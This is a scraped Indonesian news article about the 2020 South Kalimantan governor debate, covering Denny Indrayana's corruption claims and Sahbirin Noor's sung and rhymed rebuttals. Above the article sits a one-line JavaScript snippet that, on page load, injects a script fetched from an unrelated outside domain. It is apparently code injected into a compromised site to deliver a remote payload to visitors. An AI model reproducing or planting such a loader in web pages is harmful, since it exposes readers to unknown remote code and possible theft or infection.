(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kejadian menarik terjadi saat akan berakhirnya gelaran debat perdana antar kedua calon Gubernur Kalimantan Selatan (Kalsel), pada Rabu (4/11/2020) malam.
Hal itu tatkala calon Gubernur Kalsel nomor 1, Sahbirin Noor, merespon sejumlah statemen yang disampaikan calon Gubernur Kalsel nomor 2, Denny Indrayana. Mulai soal Reklamasi tambang, hingga kutipan pernyataan mantan Wakil Ketua KPK Bambang Widjojanto soal potensi korupsi SDA di Kalsel.
Awalnya, Denny menyampaikan sejumlah pernyataan dalam menutup akhir gelaran debat. Ia menilai bahwa akar permasalahan yang saat ini terjadi ialah korupsi. Terkhusus di Kalsel sendiri, menurutnya ialah korupsi sumber daya alam.
“Dan masyarakat bisa menyelesaikan masalah ini dengan mekanisme demokratis melalui pemilihan kepala daerah,” katanya sembari mengajak masyarakat yang tengah menyaksikan jalannya debat melalui siaran langsung
Denny sendiri mengaku bukannya menolak ada aktivitas tambang di Kalsel. Toh menurutnya usaha tambang merupakan sektor utama yang menjalankan roda ekonomi masyarakat selama ini.
“Namun, kita juga perlu memperhatikan beberapa hal. Kabar memilukan terjadi pada 12 Juni 2020. Seorang warga Kabupaten Banjar tenggelam di lubang tambang. Nah jangan sampai kita hanya mengangkat mayat di lubang tambang saja. Tapi seharusnya mengangkat kemakmuran masyarakat Kalsel,” terangnya.
Faktanya, pernyataan Denny tersebut secara tidak langsung menyalahkan dan menuduh kebijakan yang selama diterapkan oleh rivalnya, Sahbirin saat masih aktif menjabat sebagai Gubernur Kalsel periode 2016-2021.
Hal ini semakin terbukti, tatkala calon Gubernur Kalsel nomor 1 Sahbirin membalas tudingan korupsi sumber daya alam itu dengan sepenggal lirik lagu “Jagalah Hati”.
“Jagalah hati jangan kau nodai, jagalah hati pelita hidup ini,” Sahbirin melantunkan lagu tersebut ketika closing statement-nya.
Selain itu, Sahbirin secara tegas menyatakan bahwa dirinya bersama pasangannya Muhidin, dengan tulus menjaga amanah yang diberikan rakyat. Ia secara tegas menolak tudingan apalagi jika berbicara soal korupsi.
“Jangan diputarbalikan. Justru kami ingin memberikan kesejahteraan kepada rakyat,” tegasnya.
Tak sampai disitu, aksi gimmick Sahbirin kembali dilanjutkan untuk kembali mencairkan suasana. Salah satunya ialah melontakan sebuah pantun dengan berirama.
“Sungai Jingah Kampung Melayu, di tengah-tengah sungai Martapura. Marilah kita bersatu membangun Banua,” tutupnya. (Kanalkalimantan.com/rico)
Reporter: Rico
Editor: Cell
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More
This website uses cookies.